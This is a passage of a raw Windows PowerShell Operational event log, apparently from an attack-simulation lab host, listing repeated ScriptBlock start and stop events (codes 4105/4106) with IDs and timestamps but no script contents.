ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027715
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027713
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027712
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027695
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027689
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027667
Keywords=None
